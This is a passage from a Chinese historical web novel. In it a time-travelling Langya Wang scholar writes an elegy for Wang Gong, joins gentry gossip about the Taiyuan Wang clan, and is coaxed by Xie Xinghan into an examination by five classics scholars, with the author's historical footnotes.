“记住啊,不要配好的寒食散,不要张仲景方,不要葛洪方,要的是何晏方多加的那个,其他的不要。他到时估计要按高价卖你,你甭管他出什么价,直接对半砍,他肯定叫屈,你就和他说,荆州城里的炼丹士我都见过,行价门儿清,就是对半砍他已经是大赚了,找他一来是上次对他印象不错,二来是图个方便,如果还要抬价,那就没什么好聊的了。说完你转身就走,他一定留你。你办完这件事先回家把东西放好,然后去.......” 王扬这边交待着,那边阿五端着食盘,送来了早餐。 “记住了吗?” “记住了,公子放心。” “好。交给你了,我先走了。” 小阿五道:“公子,你还没吃早饭啊!” “来不及了!” 王扬拿上一张蒸饼,胡乱裹了几块切好的盐水鹅肉,边往外走边往嘴里塞,小阿五赶忙端着茶追了出去。 王扬快步出了内院,迎面碰上陈青珊。小珊跟着王扬穿过中门,一同踩着金黄的阳光向外走:“车备好了,我们走吧。” “你不用去,我一会儿就金蝉脱壳了......” “蝉脱壳?”陈青珊疑惑。 “就是开溜,你现在去里屋,找桌案上那卷《简文谈疏》,里面夹着一张纸,你按纸上的东西买。” “好。”陈青珊也不多问,便转身回内院。 王扬这边漱了口,向陈青珊背影叫道:“钱让老黑走账!别自己垫!” 陈青珊也不回头,只是很有范地一抬手,示意听到了。 王扬把茶盏给阿五,嘱咐道:“和你爹说,别让你陈阿姊垫钱。” 小阿五和陈青珊一样耳濡目染,早学会了垫钱一词: “交给阿五!不会让阿姊垫钱的!公子快去吧!” 王扬拍拍阿五的头,大步流星地进了外院。 ...... “......天道茫昧,孰测倚伏?犬马反噬,豺狼翘陆。岭摧高梧,林残故竹。人之云亡,邦国丧牧......” 此悼文为东晋时桓玄所作。当年北府军帅王恭恨相王司马道子(以宗王为辅相,故称相王)秉国持权,专行肆威,遂起勤王之师,为诸军盟主,天下震动。后为部下所叛,兵败身死,悬首建康朱雀桥上。桓玄闻王恭死,登江陵城南楼,追念故友,深沉叹曰:“我今欲为王孝伯作诔。”因吟啸良久,随即下笔,便成此文。桓玄虽是乱臣贼子,诗文多有不传,然此文为忠义烈臣所作,一直流传后世。 此时南楼上,笔墨纸砚皆具。 王揖、王扬、孔长瑜以及荆州三位上佐(四上纲中长史缺位,故而只到三位)别驾乐湛(副|省)、治中从事殷昙粲(省|委常|委)、司马席恭穆(省|军|区副|司令)等人登楼送目,远眺江山,谈及桓玄在此楼上为王恭作诔之事,皆唏嘘不已。 王揖高诵桓玄所作诔文,乐湛赋悼诗: “北府旌旗折,江东涕泪多。未清君侧恶,先凋玉树柯。 月冷荒营柝,风悲故国戈。千秋胥庙外,犹作怒涛歌。” 众人听到最后四句时,皆称赞不已。 当然,这首诗是他提前写好的,并且最后四句是夫人帮忙续的。不过夫人写的和自己写的一样!并且夫人说了,要是没有他前四句的“气韵苍凉”,她也写不出后四句,所以说到底,还是自己诗才不凡。乐湛甚觉满意! 席恭穆也是事先写好的,用楚些体作《招魂》: “魂兮归来!京口不可驻些。朱旗裂矣,犀甲蠹些! 佞人既鸱,直臣糜些。石城雾锁,瘗忠骨些! 魂兮归来!长塘不可栖些。昔持王节,今委涂泥些! 王国宝首,已为齑些。孰讼尔冤?天听卑些! 魂兮归来!大桁不可游些。勤王师老,刃卷霜些! 六军星散,鬼夜哭些!广陵散绝,谁与俦些?! 乱曰: 兰以芳焚,膏以明煎。公之云亡,晋鼎其迁。 后有吊客,凭栏赋篇。投袂掩涕,风飒飒兮雨涟涟!” 众人读罢,各有悲戚色,俱为嗟叹。王揖道:“末句音调转折有裂帛声,吟者宜察之。”众人皆凝神咏味,点头称是。王扬亦深以为然。 殷昙粲当场作四言哀辞: “哀哉王公,世载其英。凤羽龙章,河岳降精。 志存社稷,祸起戎旌。玉碎倪塘,珠沉洞庭。 辕门鼓息,风号荒茔。沙场埋骨,霜露飘零。 松柏骨朽,金石留铭。昔埋碧血,今照汗青。” 众人也给面子的赞了几句,不过连殷昙粲自己都承认,不如乐湛写得好,主要是没有什么警句。自云:“若散兵无将,失了生气(生机之气)。” 席恭穆道:“‘昔埋碧血’一句也算有将,不过裨将而已,当不得大将。” 乐湛又读了一遍,叹道:“通篇都不错,只是这最后四句没提起来,可惜了。” 王揖轻摇羽扇: “我侄在此,要生气大将,何难之有?之颜,能改此四句乎?” 众人皆目王扬,眼神期待。 王扬也不推脱,径直提笔,略一沉吟,写下四句: “血沃东南,春草不青。至今江水,夜夜听兵。” 众人一读之下,彩声四起! 席恭穆感慨: “有了这四句,相当于韩信做了大将,多少句都统摄住了。” 乐湛啧啧说: “之颜做哀语已极哀,难在又能有品格。听兵一语,悲中见骨,不输‘高台多悲风’、‘思君如流水’!” 在场的除了随从外皆士族高门,孔长瑜一直没有什么说话的机会,此时看准时机,也开口赞道:“春草得楚辞遗韵。最后两句更是字字带血而不堕凄婉,有古慷慨之音,” 殷昙粲感叹道: “昔桓温命袁宏作《北征赋》,赋成,时贤共看,王东亭言:‘恨少一句。得‘写’字足韵当佳。’袁宏即于坐揽笔益云:‘感不绝于余心,溯流风而独写。’桓温谓:‘当今不得不以此事推袁’。我以为今日之事,过于当时!故我谓当今不得不以此事推王。” 他转向王揖,拱手为礼: “江左衣冠,王谢称首。琅琊门楣特高,向为华族之表,今日文采风流,俱在散骑家矣!” 王揖回礼,言辞虽小谦,然脸上甚有得色,看向王扬,压不住嘴角: “之颜啊,今日压卷之作,非你莫属。不知你准备写什么?” 以王扬此时的心境,以登楼而眺,远山江烟相对之景,他最想写的其实是词,拍栏杆裂,咏大江雪,说庾信江南赋血,叹桓温柳老隋堤月。 但不需说他想咏的不少典故此时还没出现,更重要的是,词这种文体现在还不能被接受,自己在家写着玩行,到了这种场合就不能拿出来了。至于七言诗也不行,此时七言体尚未光大,写歌诗歌行,写乐府流调没问题,作为凭吊悼忘,就不庄重了。 王恭这个人王扬还是敬重的,虽然有私心,虽然有缺点,虽然既不善为政,也不善用兵,但胜在一个痴字,喜读《左传》“奉王命讨不庭”句,称兵犯阙,至死犹言社稷本心。简率潇洒,死无余财,一句“丈人不悉恭,恭作人无长物”确实有点帅。至于仪表濯濯如春月柳,披鹤氅裘涉雪而行,如神仙焉,以王扬之眼观之,就不那么重要了。 王扬凝神想了想道:“我试为诔。” 众人闻此,俱觉诧异,因为今日凭吊,本就是桓玄作诔引起的。此诔已得传诵,足见其佳。有此诔在上,再作诔,除非能盖过古人,否则岂不是屋下架屋?难免受讥。这就是在场的士大夫都没有选择诔这个文体的原因。 但王扬想做,倒非有超过古人的信心,原因只是他想而已。 王扬深吸一口,提起笔,写道: “维晋祚之将颠兮,丧厥榱梁; 哀忠贞之殒命兮,晓日无光。 昔佩玉而鸣銮兮,今委骨于沙场; 志未酬而身殒兮,恨悠悠而谁详? 其辞曰: 昊天不惠兮,降此百殃; 夺我元戎兮,裂我冠裳! 清流断绝兮,浊浪汤汤! 谁为击楫兮?谁为持纲? (空行) 忆总元戎兮,六师鹰扬。 旌旗蔽空兮,剑戟生霜。 志清君侧兮,气吞八荒。 腹心生变兮,壮士摧伤! (空行) 建康秋深兮,木叶纷黄; 姑孰夜雨兮,寒月如霜。 鹤氅委尘兮,遗卷留香; 孤星不坠兮,犹照残枪! 乱曰: 江山寂寂兮意未央,霜鹤茕茕兮唳苍茫。 大荒落落兮沉雄芒,英魄耿耿兮赴国殇!” 此时几声鹤鸣,江风骤起,吹动众人衣袍猎猎作响,似有呜咽之声,自天际而来...... —————— 注:王恭受刑前只说了两句话,第一句:“我暗于信人,所以致此,原其本心,岂不忠于社稷?”我轻信于人,所以到了今天的这个地步,但推究我的本心,难道不是为了家国社稷?最后一句是:“但令百代之下知有王恭耳。” 今读本章者,皆知王公矣。 Ps.我写完诔文才发现,键盘上的一个键被我按碎了...... 好困,停一天,也就是大后天更下一章。 第244章 话题 正西风瑟瑟上危楼,江烟满汀洲。 想残垣故垒,泥沉战骨;荒祠颓壁,霜老吴钩。 犹说当年勤王事,貔貅万甲卷寒流。 谁料倪塘血? 染透千秋。 少年一诔吊今古, 使别驾停杯,司马坠佩,满座簪缨无言久。 但醉把、金觞叩首! 大风漫卷梨花雪(风吹纸飞),似王郎剑气曾经吼! 凭栏处、有云藏孤影,泪藏清眸。 ...... 王揖举杯向天:“子曰‘祭如在’,今虽不见王公遗冢,然江山犹是旧江山。来吧,今日以京口酒,敬王孝伯。” 众皆肃然,把盏齐道:“敬王孝伯。” 随即倾酒于地,酒渗砖石,如泪痕蜿蜒。 王揖放下酒杯,叹道: “太原王氏自王孝伯死后,就走下坡路了。” 乐湛也跟着叹了一声: “是啊,太原王两次家难,一次是王恭之难,王国宝、王恭两支凋零几尽,另一次是宋武帝杀王愉及其子孙十余人,可怜百代卿族,就此衰矣......” 殷昙粲接口道: “现在太原王氏中显达者,还得属王玄谟那一支。但他们那一支以军功起家,属于祁县一脉,不是嫡支。” 殷昙粲说完,一时间没人再说话,似乎都不打算继续这个话题了。 王扬背着手,望着远处江中沙洲,悠悠地冒出一句: “嫡支的话......王琰算吧。” 王揖看了王扬一眼。 殷昙粲颔首应道: “对,王琰是王国宝之后,属于王泽那一脉的宗支,正宗的太原王。王国宝被杀之后,全家流放交州。王琰前些年回京,动静不小,说起来,正宗的太原王也没剩几个了。诶?他好像也住乌衣巷吧?” 文化学者保罗·福塞尔曾经引用琼森的诗句来说明语言对于身份的标识作用:“语言最能表现一个人。一张口,我就能了解你。” 所谓“听言识身份”,一听的是语言风格,二听的就是话题。 不同圈子有不同圈子习惯谈论的话题。驴圈常交流装备攻略,军迷圈喜欢说武器战局,伪文青圈把加缪福柯挂在嘴边,学术圈则免不了谈一谈期刊会议。至于此时的士族高门,可聊的话题当然很多,风花雪月,仕宦行旅,诗文歌赋,经史佛道......当然,还有一个避不开的话题,那便是族姓门第。 而聊到族姓门第,就必然说到一些遗闻逸事、时谈八卦,像孔长瑜也知道不少内幕,但不开口,因为他本就不是士族圈里的人,在这个话题上硬要参与,不过是自取其辱,譬若一群有游艇的人在一起聊游艇,旁边一个人虽然也知道一些关于游艇的有趣信息,但还是不要强行分享得好。 可若真正的士族子弟也像孔长瑜这样说不上话,那就有些奇怪了。就好比文艺圈的人在一起吃饭,谈到谁谁谁,若一概懵比,连话都接不上,未免会显得格格不入。这也是王扬在日常聊天中,极注意“情报搜集”的原因之一。 不过这个王琰他还真不是在聊天中听说的,而是王琰写过一本书,叫《冥祥记》,在中古志怪文学中占有一席之地,后来全本虽然散佚,但为鲁迅先生所钩辑,收在《古小说钩沉》中,王扬穿越之前便读过,所以话题才能接得丝滑。 这边被王扬“救起”的话题还在继续: “......毕竟是太原王氏,门第在,所以能做太子舍人,只是家底太薄,听说曾因家贫乞小郡......” 席恭穆突然插话说: “其实太原王氏的嫡系正枝,也有贵盛的。” 众人疑惑地看向席恭穆。 席恭穆神秘一笑,向北指了指。 众人都是一副了然的神情。 殷昙粲有些感慨: “那边是王愉那一支。当年宋武帝杀王愉一家十余口,只有王慧龙一人逃到北边。此人为了报仇,降了北虏,屡引兵与宋战,檀道济、到彦之、王玄谟诸将,皆不能敌。武帝曾施反间计,失败后又遣刺客,以‘二百户男、绢一千匹’为赏,购王慧龙人头,亦不能成。伪帝授王龙骧将军,赐爵长社侯。这才是太原王氏的真正嫡宗!只可惜呀,投了胡虏,直到死也不能归葬江南。” 殷昙粲惋惜摇头。 席恭穆不以为然地一笑: “人家太原王氏郡望就在北方,死了不葬晋阳,也葬河内,何必回江南?” 在场的士族琅琊王、淯阳乐、安定席包括他陈郡殷,都是祖上南迁过江的侨姓高门,东晋初年时,即便死在江南,也多有“假葬”者(即临时葬),意思等收复中原之后,还要迁回北方祖茔。但随着时间推移,后代久居江南,祖上几代人都葬于此,以前的权厝之所,反而被当成“祖坟”,所以才会有殷昙粲“归葬江南”的话,其实如果溯源返本,所谓“归葬”之说,本来就是不成立的。 殷昙粲立即反驳道: “不然,礼以顺人情为本,孝以奉亲安为要。如今北土陆沉,先人丘陇早沦为腥膻之地,今我辈五代以降,坟茔皆在江南,岂有不依父母居而别寻的道理?” 话题渐至敏感,席恭穆没有再与殷昙粲争辩,闭口不言。殷昙粲也不说话了。气氛顿时有些冷场。 王扬开口道: “王慧龙心心念念要学伍子胥回来报仇,放出话说要‘鞭尸吴市,戮坟江阴。’至于葬在哪对于他来说,或许就没那么重要了。不过我听过一种说法,说他不是王家血脉,而是僧彬与婢女私通生的孩子。” 王揖神色微动。 乐湛附和道: “我也听说这个传言,说僧彬本王家仆,其子鼻大,颇类王家齄鼻之相(宽大鼻,酒糟鼻),遂携子北奔,诈充遗胤......” 殷昙粲冷笑一声: “一定是谣言!太原王氏这种甲门贵家,外人根本冒充不了......” 王扬点头,一副深以为然的模样。 王揖低头,小口喝酒。 殷昙粲声音忿忿: “......此乃索虏妒我华胄清流,故设谤语污之耳!当年崔浩不过夸了一句王慧龙‘真贵种矣’,便有人向伪帝谮毁,说崔浩‘叹服南人,讪鄙国化’,伪帝怒,召崔浩责之。浩免冠陈谢乃解。可最后崔浩还不是被灭族?可见北虏夷狄本色,嫉我华夏衣冠,凡能毁之,无所不用其极!王慧龙娶清河崔氏,子聘范阳卢门,女归陇西李家,凡所通婚者,莫不是北土一等望族,如何能有假?!” 王揖目光悠远,声音沉了几分: “的确不是假的。王慧龙北奔时是十四岁,那年我祖父正好十岁,见过王慧龙,还说过话。后来王愉被灭家,只剩下这一个血脉,被与王家常往来的沙门僧彬藏了起来。他们是先跑到江陵,然后北上襄阳渡江,自虎牢奔姚兴,姚兴败了之后才转投的魏虏。当时听说王慧龙跑了,全江封锁戒严,朝廷下令,见面格杀不问,就是怕他跑到北边去。没想到还是被僧彬护送走了。若没有僧彬,就没有王氏遗孤,我以为,僧彬之义,与古时程婴等......” 众人正闲谈间,忽有一仆上前,呈给王揖一封信。王揖读后,笑道:“原来谢家雏凤也在荆州。”随即看向王扬:“贤侄,你可是曾请谢四娘子引见,拜访慧绪师太吗?” 王扬欠身答道:“是。侄儿早想谒见慧绪师太,一来是要请她诵经为先父再荐冥福,以尽追思之念。二来是想借此机会,请教一下佛法。可师太不见外客,所以只能托谢四娘子代为求恳。” 王揖叹道:“‘孝子不匮,永锡尔类’,难得你有这样的孝心......”说到这儿面露疑惑之色:“那你为什么不去啊?” 王扬一脸沉肃:“阿叔千里来荆,扬理应随侍左右,至于慧绪师太处,只能请谢四娘子代为转圜,等以后有机会,再行拜谒。” 众人闻此,尽皆感叹。 王揖看着王扬,表情亦“不得不”有所动容。 至于王揖会怎么说? 没有悬念。 除了赶紧劝王扬赶快去,还有第二种选择吗? 王扬现在最缺的是什么? 是时间。 准备的时间。 六天后就是出使之日,如果他每天跟着王揖四处游览,哪有时间做准备? 所以他必须来一招金蝉脱壳,为自己赢得时间。 至于后续几天,王扬会向王揖致歉,说慧绪师太让他抄佛经祭父,那阿叔还能耽误他尽孝? 这金蝉脱壳虽然好用,但暂时只能小用,而不能大用。所谓大用就是用在拒绝出使上,不管是装病还是找其他借口,只要设计得当,还是有可能成功的。 但这一来就容易引起巴东王的疑心。一旦巴东王疑心王扬已经猜到他要灭口,那后续的手段只会更凌厉、更猛烈。并且巴东王既然对他动了杀心,荆州城里便是险地,即便能躲过出使,那下一招呢?下下招呢? 太被动了,王扬不喜欢。 而他要转为主动的一个前提便是,他需要时间。 所以,当王扬顺利地辞别阿叔等人,飞快地下了南楼,上了谢星涵的车厢后,这才真正放松下来,靠在锦绣软垫上,看着谢小娘笑道: “娘子一出手,妙笔轻挥解千愁!” 注:①席恭穆和殷昙粲在关于“北朝”话题上展现出不同的情感倾向,席恭穆表现得比较明显,殷昙粲则有些隐晦,这其实也代表当时南朝士族的两种不同心态。一种严守华夷之辨,对北朝殊无好感,另一种则以北朝立国已久,且有地理上的正统,不以华夷之别贬之。 更深一层的是则反映出当时的忠孝和家国观念。魏晋南北朝时家的观念很重,孝的观念也很重,所以当时有一个流行的论题叫“君父先后论”,君和父,孝和忠,到底谁排在前面?当时不少人的意见都是孝在忠前,父在君前。而王慧龙家被杀净,孤身一人得免,为报家仇事北魏,从华夷之别的角度易受非议,但从孝的角度则无可厚非。所以即便席恭穆厌北,在说到王慧龙投北朝时,也没有太苛责。 ②保罗·福塞尔的引用见他的专著《格调:社会等级与生活品味》第七篇。 ③王琰史中无传,不过也有蛛丝马迹可供考求。《冥祥记·自序》云:“琰稚年在交趾......至泰始末,琰移居乌衣。” 辽宁博物馆藏《万岁通天帖》中收王僧虔的《为王琰乞郡启》:“太子舍人王琰牒在职三载,家贫,仰希江郢所统小郡,谨牒七月廿四日,臣王僧虔启。” 由是知其还京后住在乌衣巷,又曾为太子舍人,因家贫乞郡。 ④《魏书·王慧龙传》:“及鲁宗之子轨奔姚兴,后归国,云慧龙是王愉家竖僧彬所通生也。” ⑤《魏书·王慧龙传》:“身殁后,乞葬河内州县之东乡,依古墓而不坟,足藏发齿而已。”王洪军推断:“河内州县之东乡”指的是“河内野王县北白径道东北”太原王氏的祖坟地,“古墓”二字很可能是“祖墓”的讹误。参《名门望族与中古社会:以太原王氏为中心》第五章。 ⑥大鼻是太原王氏遗传的外貌特征,类似哈布斯堡下巴。所以太原王在江南还有个外号叫‘齇王’,《晋书·王湛传》载王湛“龙颖大鼻”,王慧龙跑到北魏之后,崔浩也是看他鼻子更加确信他身份。(《魏书·王慧龙传》:“王氏世齄鼻,江东谓之齄王。慧龙鼻大,浩曰:“真贵种矣。”) 第245章 交锋 香帘漫遮青石路,轮声碎,蝉声住。 谢星涵身穿湖蓝泥银裳,蓝瑛簪发,一点冰芒凝水魄;白雪飞肌,三分明媚透微霞。看着王扬,目如星湖,沉静之中,又带审视。 王扬被看得心中打鼓,面上神色自如,语气轻松地问道: “小凝呢?小凝去哪了?” 谢星涵微微歪头,眸光中彷佛藏着窥破人心的锋刃,明明姿态闲适地倚坐着,却让王扬后颈泛起细密的刺痒感: “王公子没什么话要对我说吗?” ——靠! 难道她见了萧宝月? 难道那小登把我身份卖了?! ——不对! 她若知道了,反而不需这么问了。 她在——诈我。 想通这一节,王扬迅速恢复镇定,看着谢星涵的眼睛,唇畔微扬,面带浅笑: “谢娘子想要我对你说什么话吗?” 两人静静对视。 一个眸似寒潭映星,幽深之中暗流翻涌;一个目似霁雪沉渊,温雅之下波澜不惊。 一个云涯清冽,似霜天晓月;一个风漪和煦,如暖玉生烟。 帷帘微微晃动,辘辘车轮碾过青石板的缝隙,摇晃着窗纱筛下的光斑,在车厢中影影绰绰,明明灭灭,衬得王扬的笑容越发令人琢磨不透,越发意味深长。 那笑意似揉碎的金箔般,随着光影在他眼底流转,竟如蛛丝一样,一缕缕缠到谢星涵的心上来。 最终,云涯被和风吹散,天霜被暖玉融开,谢星涵原本锐利的试探被王扬的笑意浸得绵软,率先败下阵来。 她借着整理鬓发的动作偏过头去,避开了王扬的视线。先前那股逼人的气势早如春雪般消融,耳尖悄悄泛起一抹薄红。 “你知道的......”谢星涵小声道。 额...... 王扬有点慌了:“我我知道什么?” “你知道我问的是什么的。”谢星涵微微蹙眉,侧头不去看王扬,手指捏着锦垫一角,白腻的指节因用力而泛着淡粉。 王扬一怔,有些拿不准:“你问的是什么?” 谢星涵重整旗鼓,看向王扬: “你今天让我来这么一场戏,到底为什么?” 王扬顿时松了口气:“你问的是这个啊!” 早说啊!!! 谢星涵星眸微眯:“还有什么别的吗?” 王扬: ( ̄▽ ̄)~* “嗨,能有什么别的?就是救柳憕这点事儿呗!我叔父雅人高致,丘壑风流,但总得有人做事吧?没办法,我这个做晚辈的,就得多用点心,好好琢磨一下,准备得充分些,这样把柳憕救回来的希望就能大一点。可我若是直接说,岂不是下了我叔父的颜面?还有点越俎代庖的意思,所以只好明修栈道,暗度陈仓了......” “我不明白的是,你为什么要把这件事揽在自己身上?朝廷自然有朝廷的处置,你叔父也有自己的安排。即便你要助你叔父,提前帮着谋划便好,又何必一定要跟着出使呢?虽说安全上不至于有什么问题,但蛮部路遥道险,一路车马劳顿,辛苦是少不得了,还有汶阳蛮凶鄙不化,既然敢劫士族,也不会把你们当什么上国天使来对待,少不得要挫你们的锐气,说不定还会想办法折辱你们......” 谢星涵眉间泛起忧色,彷佛星云凝聚着化不开的雨意,沉沉地压在眼底。 王扬心道:为什么?因为我是被逼着去的呗! 但是这话他不能和谢星涵说,以免把她卷到危险中去。 王扬苦笑道:“我知道我知道。只是我已经应了巴东王,再说柳憕这件事我也有一定责任......” “他害人害己!你有什么责任?!”谢星涵突然气冲冲道。 提起这件事她就生气!如果不是柳憕买通乐府管事打开暗门,蛮人哪能乘隙而入?王扬差点都没回来!若是他没咎由自取,被蛮人掳走,她必向柳伯伯告状,好好打他几百棍! 王扬见谢星涵怒了,也不敢直撄其锋,先是旗帜鲜明,跟着附和了几声,然后苦笑道: “不过毕竟是我们是一起遇险,我回来了,他没回来......” 见谢星涵愤愤不平,又要开口,马上补充道:“并且我叔父相邀同行,我也不好推辞。读万卷书,行万里路,我权当是游历,顺便增些见闻,也没什么不好。” 谢星涵默然,星眸微垂,似是认可了王扬的说法。 正当王扬以为“过关”时,谢星涵突然抬眼,盯住王扬,瞳孔微微收缩,像是正一寸寸地丈量王扬眼底的每一丝情绪: “你说的是真话吗?”谢星涵狐疑问道。 这......这突然这么有压迫感是怎么回事?! 王扬不好意思地笑道: “也不全是真话了,其实我也想借此机会,立些功名。” 王氏说谎法则第二十三条:聪明人喜欢抓谎,那就给他们一个拆穿小谎的机会吧! 谢星涵果然被蒙住。“皇都陆海应无数,忍剪凌云一寸心”。她之前就猜测过王扬这么做很有可能是为了前程。无论是顺巴东王的意,还和他八竿子打不着的族叔亲近亲近,又或者借此立功,积攒资望,为将来入仕铺垫,都是王扬“凌云一寸心”的表现。更何况如果能借此机会,和柳憕化敌为友,交好柳家,那对于王扬今日后的仕途,可谓大有裨益。只不过...... “其实以公子的才学,凭经学入仕根本不难。公子是担心自己摇动古文尚书,所以会被国子学黜选?” 国子学中分经立博士。 其中古文尚书一门便有孔、郑两家博士:一家研究孔氏传(即孔安国为《尚书》作的传,也叫孔传),另一家研究郑玄的《尚书注》。两大博士官全都立身于《古文尚书》,多少弟子凭此晋身?可以说,这里是《古文尚书》的大本营。王扬驳古文尚书为伪书,岂能被容?所以他们一定会全力阻住王扬入国子学。 天下郡学那么多,每年郡选生如过江之鲫,都是各地拔尖的学子,但被国子学收录者廖廖。本来以王扬家门学问,是一定入选的。都不用说别的,只凭琅琊王氏四个字,就已经一只脚跨入门里的。但这一次不然。 谢星涵也是今日才知晓,白虎道场论学三都讲之一的沈驎士,已去国子学状告王扬非毁圣人典谟,要求削其学籍,结果被新任国子学博士杜乾光骂了个狗血喷头。 孔、郑两家古文博士下场,杜乾光也丝毫不怯,以一战二,官司直接打到太常,虽然学籍暂时没削成,但到了郡选时,阻力之大,是可以想见的。到时待选生那么多,一旦最后为了调和矛盾,黜落王扬,下次再选,可就是三年之后了。 刘昭是仁诚君子,他以为只要他报上去,凭王扬的学识,凭那几卷著述,便是古文尚书的博士也得心服。可谢星涵知道,远不会这么简单。她每次跟王扬提国子学的时候,王扬都对这个话题不太热衷,不知道是已经猜到此中艰难,还是说对国子学有些心灰意冷? 这一次也一样,王扬只是笑了笑,没有接这个话头,而是拨开纱帘,向车外望了望: “差不多了,前面路口停就行。” 谢星涵收回思绪:“你先陪我去个地方。” “今天不行,今天我有事。” “不会用很长时间的。” 王扬只是摇头。 谢星涵眼含薄怒:“我刚给你帮完忙!” 王扬嘻嘻笑道:“下次,下次请你吃火锅。” 谢星涵心思一转,看了看王扬,低下头,说了个“好”字。 王扬敲敲车前壁:“停车!” 牛车缓缓停稳,王扬笑着向谢星涵一拱手: “今日多蒙娘子仗义出手!扬感激不尽!来日定备好火锅,调好鸭血,以谢娘子相助之恩!” 谢星涵也不抬头,只是下颌轻点,幅度很小,柳肩也微微颤动起来。 王扬本要下车,见状有些迟疑,又唤了一声:“谢娘子?” 谢星涵声音带着几分哽咽:“没......事......” 王扬声音放轻,试探问道:“谢娘子这是......” 谢星涵摇了摇头,不肯说话。 等她再次抬头时,眸中竟带泪光! 王扬吃了一惊,慌张道:“这是怎么了?好好的为什么——” 谢星涵抽了抽娇俏的鼻尖。 王扬失色,赶忙作揖:“别哭别哭!我这就向娘子赔礼!” 谢星涵侧过身去,取出手帕虚抹眼泪,声音委屈柔弱使得使人怜惜: “不怪公子,是星涵自伤身世。公子有所不知,我家这一脉,人口众多,房户繁杂。若能合族共荣,本是幸事,可人一多,难免就会......” 谢星涵顿了顿,柔柔欠身,蓝瑛簪的珠串随着她低头的动作轻轻晃动,在精致的脸颊投下细碎的阴影: “公子恕罪,星涵不该非议族中事务。” 王扬立即道:“这有什么!人一多就生抵牾,自家人也免不了,这是人之常情。再说我又不会和别人说!” 谢星涵指尖绞着帕子,泪光盈盈: “多谢公子体谅。外人总道谢氏门第绝高,可焉知高墙之内,暗流潮动?星涵之前被迫签下一个赌约,如果输了话,恐怕以后在族中更难容身。本来说好是在建康,没想到对方竟派了五大经学高手,直接欺上门来......” 王扬越听越糊涂:“稍微等一下,什么赌约?怎么还出来经学高——” 谢星涵眸中泪光倏然一漾,纤指掩面,哭泣道: “我一个弱女子,形单似叶,怎敌得过五大经学耆宿,联袂相压?只怪我自己才学不够......又孤立无援......” 她哭得断断续续,时而还夹杂一两声呛咳,趁着咳的机会偷偷漏出一线指缝,瞄了眼王扬的反应,然后继续哭道: “罢罢罢,我认输便是!不过是从此受人欺凌嘲讽,以后再没有立锥之地而已,也没什么的.......呜呜......呜......” 第246章 密试 王扬虽说平时对谢星涵不用心机,但一路看下来,也明白了这是谢小娘的眼泪攻势。 尤其是她自述缘由的这一段,故事看似有骨架,实际内容却隐隐约约;言辞看似有所交代,一些关节处却闪烁不尽;背景点出一二句,其余都是留白,至于细节则全凭听者想象,这对于王氏说谎法则的创始人王扬来说,可太熟悉了。不过一追问便哭这招王扬暂时还没机会用,倒先让谢星涵秀了一下。 不过王扬并不想揭穿谢小娘。一来故事虽然有几分假,但假中未必没有真。二来见她演得这样用心卖力,也不忍拆台。三来不管谢星涵的眼泪有多少表演的成分,看她哭成这样,实在让人心生怜惜。四来如果真有人要对付谢星涵,那王扬当然要管上一管。 “谢娘子别哭,这件事有我呢!”王扬装作上头的样子,义愤填膺道。 谢星涵猛地抬头,带着几分惊慌失措的柔弱: “公子不可冲动!星涵仔细想了想,此事确实不该劳烦公子。毕竟那五大经学高手都是名儒硕学,随便一人便已难挡,更何况五人联手!公子才华虽高,但万一一时不察,被他们寻到韬晦时的空隙,设伏发难,折了公子清誉,这可如何是好......” 谢星涵泪波轻转,指尖将帕子折出一道细痕,声音带着恰到好处的迟疑。 哦,意思是让我尽全力,不要韬光养晦。 王扬手掌横挥,一副豪气迸发的模样: “娘子放心!一人横槊,千军辟易!考较学问,不在人多。甭管对面多少名儒,有我王扬一人在此,足矣!” 谢星涵眸中水光潋滟,似有万千星辰流转,可刚露出几分雀跃之色便又垂下眼帘,沾着泪痕的长睫在眼下投出一片阴影,连声音都低了几分: “可公子说今天有事,星涵不敢耽误公子。” 你个小戏精敢得很...... 算了,陪你演一波吧。 王扬眉峰微挑,眼中光华流转似剑出鞘,唇角噙笑,三分傲然,七分从容: “王扬何惧群儒阵? 万卷经纶一笑摧。 不是狂生轻圣道, 圣道今朝在我为。 别说五大高手,就是十大高手,也耽误不了多久。 娘子稍坐,看我破阵!” 谢星涵怔怔地看着王扬,星眸失神,一切演技,化为乌有...... ...... 竹间幽户,静隐茶香缕。 小阁烟轻帘未举, 漫任云团浮聚。 “品茗居”竹室雅间外的小阁里,小凝迎了出来,双手叠于腹前,恭恭敬敬地向王扬行了个礼。 王扬道:“小凝,你这么客气干嘛!” 谢星涵笑道:“公子不是一直想见小凝吗?如今见着了,倒嫌人家礼数周全起来了。” 王扬:??? 小凝:???——!!! 谢星涵看向小凝,眼神询问,小凝马上点头:“一切妥当。” 谢星涵做了个请的手势:“公子请......” 王扬走了几步,回头见谢星涵、小凝都站在原地,奇道:“走啊......” 谢星涵敛衽微笑: “星涵就不进去了,以免落人口实。星涵在此为公子烹一壶‘温山御荈’,静候公子佳音。” “好。” 王扬也不怯场,掀帘走进回廊,走到尽头后,推门而入。 谢星涵紧绷的肩线这才不着痕迹地松了下来,拍了拍心口,呼出一口气道:“可算把这家伙骗来了。” 小凝赶紧夸夸:“娘子好厉害!把王公子都骗了!” 谢星涵左右看了看,见四下无人,便小猫似的伸了个懒腰,蓝瑛耳坠轻轻晃动,拖着长声道: “他——知道——我在骗他。” 战国绿松石金耳坠,现藏河北博物院 北魏嵌宝石金耳坠,现藏大同博物馆 小凝睁大眼睛:“啊?难道王公子知道这是国子学的——” 谢星涵脸上带着几分得意的娇憨: “那**,不过他知道我是做戏引他来的。” 小凝疑惑:“那......” 谢星涵星眸一弯,嘴角扬起狡黠的弧度: “反正他不会拆穿我!” 小凝:...... ...... 王扬眼前,五张矮案呈半月形排开,案上五盏茶,案后五人端坐,宽衣博带,气韵沉雅,年纪最小的恐怕都有四五十岁,一见王扬进来,五种目光如电射来,或审视,或锐利,或好奇,或怀疑,最右边的一位老者,眼睛亮得出奇,上下打量着王扬,脸上欣喜之色,溢于言表。 五人中没一人说话,五道目光“各有千秋”,只是盯着王扬不住地看,寻常人若是被这么打量,难免怯场。可王扬当年保研折桂,面试时几大教授连番发问,问他的时间是最长的,更不用说后来博士中期考核时的“一人独诵,满座皆静”,现在这种场面对于王扬来说实在没什么好紧张的。他对着五人,微微一礼,声音不疾不徐,不轻不重: “琅琊王扬,见过诸位先生。” 目光怀疑的那人最先开口:“《尚书百问》是你写的?” “是。” 那人眯了眯眼,疑色更重:“《尚书答问》也是你写的?” “也是。” 那人脖颈前伸,死死盯住王扬的眼睛,仿佛要从中嗅出谎言的痕迹: “那《尚书今古文指瑕》呢?” “还是。” 